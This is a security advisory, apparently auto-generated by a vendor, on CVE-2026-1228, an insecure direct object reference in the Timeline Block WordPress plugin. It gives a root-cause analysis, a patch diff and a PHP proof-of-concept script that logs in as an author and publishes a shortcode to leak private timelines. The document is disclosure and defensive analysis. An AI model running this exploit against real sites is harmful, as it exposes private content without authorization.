Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1228: Timeline Block <= 1.3.3 – Insecure Direct Object Reference to Authenticated (Author+) Private Timeline Exposure via Shortcode Attribute (timeline-block-block)

CVE ID CVE-2026-1228
Severity Medium (CVSS 4.3)
CWE 639
Vulnerable Version 1.3.3
Patched Version 1.3.4
Disclosed February 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1228:
This vulnerability is an Insecure Direct Object Reference (IDOR) in the Timeline Block WordPress plugin. It allows authenticated attackers with Author-level permissions or higher to access private timeline content. The flaw resides in the plugin’s shortcode handler function, which fails to properly validate user permissions against the requested timeline ID.

Root Cause:
The vulnerability exists in the tlgb_shortcode() function within the file timeline-block-block/includes/class-tlgbTimeline.php (vulnerable version). The function accepts an ‘id’ parameter from the shortcode attributes without performing any authorization checks. The function retrieves the post using get_post($atts[‘id’]) on line 23, then directly parses and renders the content if the post exists and contains the correct block type. No validation occurs to ensure the current user has permission to view the timeline post, particularly when the post has a private status.

Exploitation:
An attacker with Author-level access can embed the vulnerable shortcode [timeline_block id=TARGET_ID] in any post or page they can edit. The TARGET_ID parameter is any valid timeline_block post ID, including private timelines created by other users or administrators. When the page containing the shortcode is viewed, the plugin renders the private timeline content regardless of the viewer’s permissions relative to that timeline. The attack vector requires the attacker to have at least Author privileges to create or edit posts containing shortcodes.

Patch Analysis:
The patch replaces the entire class-tlgbTimeline.php file with a new class-tlgb-main.php file. The critical fix is in the tlgb_shortcode() function. The patched version adds multiple validation steps: it converts the ID to an integer using absint(), verifies the post exists and is of type ‘timeline_block’, and most importantly, adds the check `if ( ! current_user_can( ‘read_post’, $post_id ) )` on line 34. This check leverages WordPress’s built-in capability system, which properly evaluates whether the current user has permission to read that specific post, respecting its publication status (private, draft, published).

Impact:
Successful exploitation leads to unauthorized disclosure of private timeline content. Attackers with Author privileges can access private timelines created by other Authors, Editors, or Administrators. This violates confidentiality boundaries within multi-author WordPress sites. The vulnerability does not allow modification or deletion of content, and it requires the attacker to have at least Author-level access to embed shortcodes.

Differential between vulnerable and patched code

Code Diff
--- a/timeline-block-block/build/admin-dashboard.asset.php
+++ b/timeline-block-block/build/admin-dashboard.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom'), 'version' => '15b0f36f7857a8112e95');
+<?php return array('dependencies' => array('react', 'react-dom'), 'version' => '5a9f296430fa2bdef000');
--- a/timeline-block-block/build/index.asset.php
+++ b/timeline-block-block/build/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-blob', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-i18n'), 'version' => '11a1aa22bca39d76cd12');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-blob', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-i18n'), 'version' => '9282e2ac6650cdfde614');
--- a/timeline-block-block/class-tlgb-block.php
+++ b/timeline-block-block/class-tlgb-block.php
@@ -0,0 +1,50 @@
+<?php
+if (!class_exists('TLGBPlugin')) {
+    class TLGBPlugin {
+
+      public function __construct() {
+        add_action('init', [$this, 'init']);
+        add_action('enqueue_block_assets', [$this, 'tlgb_enqueue_scripts']);
+        add_action('enqueue_block_editor_assets', [$this, 'tlgb_enqueue_editor_scripts']);
+      }
+
+      // Function to enqueue block assets for backend and frontend
+      public function tlgb_enqueue_scripts() {
+        wp_enqueue_script(
+          'timelineJS',
+          TLGB_DIR_URL . 'assets/js/timeline.min.js',
+          ['jquery'],
+          TLGB_VERSION,
+          true
+        );
+
+        // Enqueue the CSS
+        wp_enqueue_style(
+          'timelineCSS',
+          TLGB_DIR_URL . 'assets/css/timeline.min.css',
+          [],
+          TLGB_VERSION
+        );
+
+        wp_add_inline_script(
+          'tlgb-b-timeline-block-view-script',
+          'const tlgbIsPipeChecker = ' . wp_json_encode(tlgbIsPremium()) . ';',
+          'before'
+        );
+      }
+
+      public function tlgb_enqueue_editor_scripts() {
+        wp_add_inline_script(
+          'tlgb-b-timeline-block-editor-script',
+          'const tlgbIsPipeChecker = ' . wp_json_encode(tlgbIsPremium()) . ';',
+          'before'
+        );
+      }
+
+      public function init() {
+        register_block_type(__DIR__ . '/build');
+        wp_set_script_translations('tlgb-editor', 'timeline-block', plugin_dir_path(__FILE__) . 'languages');
+      }
+    }
+    new TLGBPlugin();
+}
 No newline at end of file
--- a/timeline-block-block/class-tlgbBlock.php
+++ b/timeline-block-block/class-tlgbBlock.php
@@ -1,53 +0,0 @@
-<?php
-if (!class_exists('TLGBPlugin')) {
-    class TLGBPlugin {
-      public function __construct() {
-        add_action('init', [$this, 'init']);
-        add_action('enqueue_block_assets', [$this, 'tlgb_enqueue_scripts']);
-        add_action('enqueue_block_editor_assets', [$this, 'tlgb_enqueue_editor_scripts']);
-      }
-
-
-
-
-      // Function to enqueue block assets for backend and frontend
-      public function tlgb_enqueue_scripts() {
-        wp_enqueue_script(
-          'timelineJS',
-          TLGB_DIR_URL . 'assets/js/timeline.min.js',
-          ['jquery'],
-          TLGB_VERSION,
-          true
-        );
-
-        // Enqueue the CSS
-        wp_enqueue_style(
-          'timelineCSS',
-          TLGB_DIR_URL . 'assets/css/timeline.min.css',
-          [],
-          TLGB_VERSION
-        );
-
-        wp_add_inline_script(
-          'tlgb-b-timeline-block-view-script',
-          'const tlgbIsPipeChecker = ' . wp_json_encode(tlgbIsPremium()) . ';',
-          'before'
-        );
-      }
-
-      public function tlgb_enqueue_editor_scripts() {
-        wp_add_inline_script(
-          'tlgb-b-timeline-block-editor-script',
-          'const tlgbIsPipeChecker = ' . wp_json_encode(tlgbIsPremium()) . ';',
-          'before'
-        );
-      }
-
-
-      function init() {
-        register_block_type(__DIR__ . '/build');
-        wp_set_script_translations('tlgb-editor', 'timeline-block', plugin_dir_path(__FILE__) . 'languages');
-      }
-    }
-    new TLGBPlugin();
-}
 No newline at end of file
--- a/timeline-block-block/includes/AdminMenu.php
+++ b/timeline-block-block/includes/AdminMenu.php
@@ -1,48 +0,0 @@
-<?php
-
-if (!class_exists('TLGBAdminMenu')) {
-  class TLGBAdminMenu {
-    function __construct() {
-      add_action('admin_menu', [$this, 'adminMenu']);
-      add_action('admin_enqueue_scripts', [$this, 'adminEnqueueScripts']);
-    }
-
-    function adminMenu() {
-      add_submenu_page(
-        'edit.php?post_type=timeline_block',
-        'Demo & Help',
-        'Demo & Help',
-        'manage_options',
-        'tlgb-dashboard',
-        [$this, 'renderPage'],
-        100
-      );
-    }
-
-    function renderPage() {
-      ?>
-       <div id="tlgbAdminDashboardWrapper"
-            data-info='<?php echo esc_attr( wp_json_encode( [
-                'version' => TLGB_VERSION,
-                'isPremium' => esc_attr(tlgbIsPremium()),
-                'adminUrl' => admin_url()
-            ] ) ); ?>'>
-        </div>
-      <?php
-    }
-
-    function adminEnqueueScripts($hook) {
-      global $post_type;
-      if($post_type === 'timeline_block' || $post_type === 'btimeline') {
-        wp_enqueue_style('tlgb-shortcode-column', TLGB_DIR_URL. 'build/column.css', [], TLGB_VERSION);
-        wp_enqueue_script('tlgb-shortcode-column', TLGB_DIR_URL. 'build/column.js', [], TLGB_VERSION, true);
-      }
-      if ('timeline_block_page_tlgb-dashboard' === $hook) {
-        wp_enqueue_style('tlgb-admin-dashboard', TLGB_DIR_URL . 'build/admin-dashboard.css', [], TLGB_VERSION);
-        wp_enqueue_script('tlgb-admin-dashboard', TLGB_DIR_URL . 'build/admin-dashboard.js', ['react', 'react-dom'], TLGB_VERSION, true);
-        wp_set_script_translations('tlgb-admin-help', 'timeline-block', TLGB_DIR_PATH . 'languages');
-      }
-    }
-  }
-  new TLGBAdminMenu();
-}
 No newline at end of file
--- a/timeline-block-block/includes/class-tlgb-admin.php
+++ b/timeline-block-block/includes/class-tlgb-admin.php
@@ -0,0 +1,50 @@
+<?php
+
+if (!class_exists('TLGBAdminMenu')) {
+  class TLGBAdminMenu {
+
+    function __construct() {
+      add_action('admin_menu', [$this, 'adminMenu']);
+      add_action('admin_enqueue_scripts', [$this, 'adminEnqueueScripts']);
+    }
+
+    public function adminMenu() {
+      add_submenu_page(
+        'edit.php?post_type=timeline_block',
+        'Demo & Help',
+        'Demo & Help',
+        'manage_options',
+        'tlgb-dashboard',
+        [$this, 'renderPage'],
+        100
+      );
+    }
+
+    public function renderPage() {
+      ?>
+       <div id="tlgbAdminDashboardWrapper"
+            data-info='<?php echo esc_attr( wp_json_encode( [
+                'version' => TLGB_VERSION,
+                'isPremium' => esc_attr(tlgbIsPremium()),
+                'adminUrl' => admin_url()
+            ] ) ); ?>'>
+        </div>
+      <?php
+    }
+
+    public function adminEnqueueScripts($hook) {
+      global $post_type;
+      if($post_type === 'timeline_block' || $post_type === 'btimeline') {
+        wp_enqueue_style('tlgb-shortcode-column', TLGB_DIR_URL. 'build/column.css', [], TLGB_VERSION);
+        wp_enqueue_script('tlgb-shortcode-column', TLGB_DIR_URL. 'build/column.js', [], TLGB_VERSION, true);
+      }
+      if ('timeline_block_page_tlgb-dashboard' === $hook) {
+        wp_enqueue_style('tlgb-admin-dashboard', TLGB_DIR_URL . 'build/admin-dashboard.css', [], TLGB_VERSION);
+        wp_enqueue_script('tlgb-admin-dashboard', TLGB_DIR_URL . 'build/admin-dashboard.js', ['react', 'react-dom'], TLGB_VERSION, true);
+        wp_set_script_translations('tlgb-admin-help', 'timeline-block', TLGB_DIR_PATH . 'languages');
+      }
+    }
+
+  }
+  new TLGBAdminMenu();
+}
 No newline at end of file
--- a/timeline-block-block/includes/class-tlgb-cpt.php
+++ b/timeline-block-block/includes/class-tlgb-cpt.php
@@ -0,0 +1,55 @@
+<?php
+if(!class_exists('tlgbCPT')) {
+    class tlgbCPT {
+        public function __construct() {
+            add_action('init', [$this, 'registerCPT']);
+            add_filter('manage_timeline_block_posts_columns', [$this, 'tlgb_timelineBlockManageColumns'], 10);
+            add_action('manage_timeline_block_posts_custom_column', [$this, 'tlgb_timelineBlockManageCustomColumns'], 10, 2);
+        }
+
+        public function registerCPT() {
+            register_post_type('timeline_block', [
+                'labels' => [
+                    'name' => 'Timeline Block',
+                    'singular_name' => 'Timeline',
+                    'add_new' => 'Add New',
+                    'add_new_item' => 'Add New Timeline',
+                    'edit_item' => 'Edit Timeline',
+                    'not_found' => 'There was no tour please add one',
+                    'search_items' => 'Search Timeline',
+                    'view_item' => 'View Timeline',
+                    'menu_name' => 'B-Timeline',
+                    'all_items' => 'Timeline Block ShortCodes',
+                    'not_found_in_trash' => 'No Timeline found in trash',
+                    'item_updated' => 'Timeline updated',
+                ],
+                'public' => true,
+                'has_archive' => true,
+                "show_in_rest" => true,
+                "template_lock" => "all",
+                'menu_icon' => TLGB_DIR_URL . 'assets/images/timeline.png',
+                "template" => [["tlgb/b-timeline-block"]],
+                'show_in_menu' => true,
+            ]);
+
+        }
+
+        public function tlgb_timelineBlockManageColumns($defaults){
+            unset($defaults['date']);
+            $defaults['shortcode'] = 'ShortCode';
+            $defaults['date'] = 'Date';
+            return $defaults;
+        }
+
+        public function tlgb_timelineBlockManageCustomColumns($column_name, $post_ID){
+            if ($column_name == 'shortcode') {
+                echo '<div class="bPlAdminShortcode" id="bPlAdminShortcode-' . esc_attr($post_ID) . '">
+                        <input value="[timeline_block id=' . esc_attr($post_ID) . ']" onclick="copyBPlAdminShortcode('' . esc_attr($post_ID) . '')" readonly>
+                        <span class="tooltip">Copy To Clipboard</span>
+                      </div>';
+            }
+        }
+    }
+
+    new tlgbCPT();
+}
 No newline at end of file
--- a/timeline-block-block/includes/class-tlgb-main.php
+++ b/timeline-block-block/includes/class-tlgb-main.php
@@ -0,0 +1,56 @@
+<?php
+if(!class_exists('TLGBTimeline')){
+  class TLGBTimeline {
+    public function __construct() {
+      add_action('plugins_loaded', [__CLASS__, 'load_dependencies']);
+      add_shortcode('timeline_block', [__CLASS__, 'tlgb_shortcode']);
+    }
+
+    public static function load_dependencies() {
+      require_once TLGB_DIR_PATH. 'class-tlgb-block.php';
+      require_once TLGB_DIR_PATH . 'includes/functions.php';
+      require_once TLGB_DIR_PATH . 'includes/class-tlgb-cpt.php';
+      include_once TLGB_DIR_PATH . 'includes/class-tlgb-admin.php';
+      $b_timeline = TLGB_DIR_PATH . 'b-timeline/b-timeline.php';
+      if (tlgbIsPremium() && file_exists($b_timeline)) {
+        include_once $b_timeline;
+      }
+    }
+
+    public static function tlgb_shortcode($atts) {
+      $atts = shortcode_atts([
+					'id' => 0,
+				],$atts, 'timeline_block');
+
+			$post_id = absint( $atts['id'] );
+
+			if ( ! $post_id ) {
+				return '<p>Invalid timeline ID.</p>';
+			}
+
+			$post = get_post( $post_id );
+
+			if ( ! $post || $post->post_type !== 'timeline_block' ) {
+				return '<p>Timeline not found.</p>';
+			}
+
+			if ( ! current_user_can( 'read_post', $post_id ) ) {
+				return '<p>You are not allowed to view this timeline.</p>';
+			}
+
+			$blocks = parse_blocks( $post->post_content );
+
+			if ( empty( $blocks ) ) {
+				return '<p>No timeline content found.</p>';
+			}
+
+			foreach ( $blocks as $block ) {
+				if ( isset( $block['blockName'] ) && $block['blockName'] === 'tlgb/b-timeline-block' ) {
+					return render_block( $block );
+				}
+			}
+
+			return '<p>Timeline block not found in this post.</p>';
+    }
+  }
+}
 No newline at end of file
--- a/timeline-block-block/includes/class-tlgbCPT.php
+++ b/timeline-block-block/includes/class-tlgbCPT.php
@@ -1,55 +0,0 @@
-<?php
-if(!class_exists('tlgbCPT')) {
-    class tlgbCPT {
-        public function __construct() {
-            add_action('init', [$this, 'registerCPT']);
-            add_filter('manage_timeline_block_posts_columns', [$this, 'tlgb_timelineBlockManageColumns'], 10);
-            add_action('manage_timeline_block_posts_custom_column', [$this, 'tlgb_timelineBlockManageCustomColumns'], 10, 2);
-        }
-
-        public function registerCPT() {
-            register_post_type('timeline_block', [
-                'labels' => [
-                    'name' => 'Timeline Block',
-                    'singular_name' => 'Timeline',
-                    'add_new' => 'Add New',
-                    'add_new_item' => 'Add New Timeline',
-                    'edit_item' => 'Edit Timeline',
-                    'not_found' => 'There was no tour please add one',
-                    'search_items' => 'Search Timeline',
-                    'view_item' => 'View Timeline',
-                    'menu_name' => 'B-Timeline',
-                    'all_items' => 'Timeline Block ShortCodes',
-                    'not_found_in_trash' => 'No Timeline found in trash',
-                    'item_updated' => 'Timeline updated',
-                ],
-                'public' => true,
-                'has_archive' => true,
-                "show_in_rest" => true,
-                "template_lock" => "all",
-                'menu_icon' => TLGB_DIR_URL . 'assets/images/timeline.png',
-                "template" => [["tlgb/b-timeline-block"]],
-                'show_in_menu' => true,
-            ]);
-
-        }
-
-        function tlgb_timelineBlockManageColumns($defaults){
-            unset($defaults['date']);
-            $defaults['shortcode'] = 'ShortCode';
-            $defaults['date'] = 'Date';
-            return $defaults;
-        }
-
-        function tlgb_timelineBlockManageCustomColumns($column_name, $post_ID){
-            if ($column_name == 'shortcode') {
-                echo '<div class="bPlAdminShortcode" id="bPlAdminShortcode-' . esc_attr($post_ID) . '">
-                        <input value="[timeline_block id=' . esc_attr($post_ID) . ']" onclick="copyBPlAdminShortcode('' . esc_attr($post_ID) . '')" readonly>
-                        <span class="tooltip">Copy To Clipboard</span>
-                      </div>';
-            }
-        }
-    }
-
-    new tlgbCPT();
-}
 No newline at end of file
--- a/timeline-block-block/includes/class-tlgbTimeline.php
+++ b/timeline-block-block/includes/class-tlgbTimeline.php
@@ -1,38 +0,0 @@
-<?php
-if(!class_exists('TLGBTimeline')){
-  class TLGBTimeline {
-    public function __construct() {
-      add_action('plugins_loaded', [__CLASS__, 'load_dependencies']);
-      add_shortcode('timeline_block', [__CLASS__, 'tlgb_shortcode']);
-    }
-
-    public static function load_dependencies() {
-      require_once TLGB_DIR_PATH. 'class-tlgbBlock.php';
-      require_once TLGB_DIR_PATH . 'includes/functions.php';
-      require_once TLGB_DIR_PATH . 'includes/class-tlgbCPT.php';
-      include_once TLGB_DIR_PATH . 'includes/AdminMenu.php';
-      $b_timeline = TLGB_DIR_PATH . 'b-timeline/b-timeline.php';
-      if (tlgbIsPremium() && file_exists($b_timeline)) {
-        include_once $b_timeline;
-      }
-    }
-
-    public static function tlgb_shortcode($atts) {
-      if (isset($atts['id'])) {
-        $post = get_post($atts['id']);
-
-        if ($post) {
-            $blocks = parse_blocks($post->post_content);
-
-            foreach ($blocks as $block) {
-                if ($block['blockName'] === 'tlgb/b-timeline-block') {
-                    return render_block($block);
-                }
-            }
-        } else {
-            return 'Post not found or invalid post type.';
-        }
-      }
-    }
-  }
-}
 No newline at end of file
--- a/timeline-block-block/plugin.php
+++ b/timeline-block-block/plugin.php
@@ -3,7 +3,7 @@
 /**
  * Plugin Name: Timeline Block
  * Description: Display timeline content on your site.
- * Version: 1.3.3
+ * Version: 1.3.4
  * Author: bPlugins
  * Author URI: https://bplugins.com
  * License: GPLv3
@@ -18,12 +18,12 @@
     tlgb_fs()->set_basename( false, __FILE__ );
 } else {
     // Constant
-    define( 'TLGB_VERSION', ( isset( $_SERVER['HTTP_HOST'] ) && 'localhost' === $_SERVER['HTTP_HOST'] ? time() : '1.3.3' ) );
+    define( 'TLGB_VERSION', ( isset( $_SERVER['HTTP_HOST'] ) && 'localhost' === $_SERVER['HTTP_HOST'] ? time() : '1.3.4' ) );
     define( 'TLGB_DIR_URL', plugin_dir_url( __FILE__ ) );
     define( 'TLGB_DIR_PATH', plugin_dir_path( __FILE__ ) );
     define( 'TLGB_HAS_FREE', 'timeline-block-block/plugin.php' === plugin_basename( __FILE__ ) );
     define( 'TLGB_HAS_PRO', 'timeline-block-block-pro/plugin.php' === plugin_basename( __FILE__ ) );
-
+    // define('DISALLOW_FILE_EDIT', true);
     if ( !function_exists( 'tlgb_fs' ) ) {
         // ... Freemius integration snippet ...
         function tlgb_fs() {
@@ -44,7 +44,7 @@
                     'premium_slug'        => 'timeline-block-block-pro',
                     'type'                => 'plugin',
                     'public_key'          => 'pk_624005a9d0c56ff46db6602f5f730',
-                    'is_premium'          => false,
+                    'is_premium'          => true,
                     'premium_suffix'      => 'Pro',
                     'has_premium_version' => true,
                     'has_addons'          => false,
@@ -66,24 +66,6 @@
         do_action( 'tlgb_fs_loaded' );
     }
     // Initialized The Plugin
-    require_once TLGB_DIR_PATH . 'includes/class-tlgbTimeline.php';
+    require_once TLGB_DIR_PATH . 'includes/class-tlgb-main.php';
     new TLGBTimeline();
-    // Deactivate B-Timeline if Timeline Block Pro is active and Premium Code is available
-    if ( tlgb_fs()->can_use_premium_code() && TLGB_HAS_PRO ) {
-        if ( function_exists( 'deactivate_plugins' ) ) {
-            $plugin_to_deactivate = 'b-timeline/b-titmeline.php';
-            if ( is_plugin_active( $plugin_to_deactivate ) ) {
-                deactivate_plugins( $plugin_to_deactivate );
-                add_action( 'admin_notices', function () use($plugin_to_deactivate) {
-                    ?>
-                  <div class="notice notice-warning is-dismissible">
-                    <p><strong>Timeline Block Pro</strong> has deactivated <code><?php
-                    echo esc_html( $plugin_to_deactivate );
-                    ?></code> to prevent conflicts. The old B-Timeline plugin is now recognized as <strong>B-Timeline (Legacy)</strong>.</p>
-                  </div>
-                  <?php
-                } );
-            }
-        }
-    }
 }
 No newline at end of file

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1228 - Timeline Block <= 1.3.3 - Insecure Direct Object Reference to Authenticated (Author+) Private Timeline Exposure via Shortcode Attribute

<?php

$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'attacker_author';
$password = 'author_password';
$private_timeline_id = 123; // ID of a private timeline created by another user

// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);

// Step 2: Create a new post containing the malicious shortcode
$create_post_url = $target_url . '/wp-admin/post-new.php';
$post_data = array(
    'post_title' => 'Test Exploit Post',
    'content' => '[timeline_block id=' . $private_timeline_id . ']',
    'publish' => 'Publish',
    'post_type' => 'post',
    '_wpnonce' => extract_nonce($response), // Function to extract nonce from page HTML
    '_wp_http_referer' => '/wp-admin/post-new.php'
);

// Note: In a real scenario, you would need to extract the nonce and other form fields from the post creation page.
// This PoC outlines the attack flow; actual implementation requires parsing the admin page for nonces.

curl_setopt($ch, CURLOPT_URL, $create_post_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$response = curl_exec($ch);

// Step 3: Visit the published post to trigger the shortcode and view private content
$post_url = extract_post_url($response); // Function to extract URL of newly created post
curl_setopt($ch, CURLOPT_URL, $post_url);
curl_setopt($ch, CURLOPT_POST, 0);
$final_response = curl_exec($ch);
curl_close($ch);

// The $final_response should contain the private timeline content if vulnerable
if (strpos($final_response, 'tlgb/b-timeline-block') !== false) {
    echo "VULNERABLE: Private timeline content leaked.n";
} else {
    echo "PATCHED or timeline not found.n";
}

// Helper function stubs (implementation depends on HTML parsing)
function extract_nonce($html) {
    // Parse HTML to find nonce for post creation
    return 'extracted_nonce';
}

function extract_post_url($html) {
    // Parse HTML to find URL of newly published post
    return 'http://vulnerable-wordpress-site.com/?p=NEW_POST_ID';
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School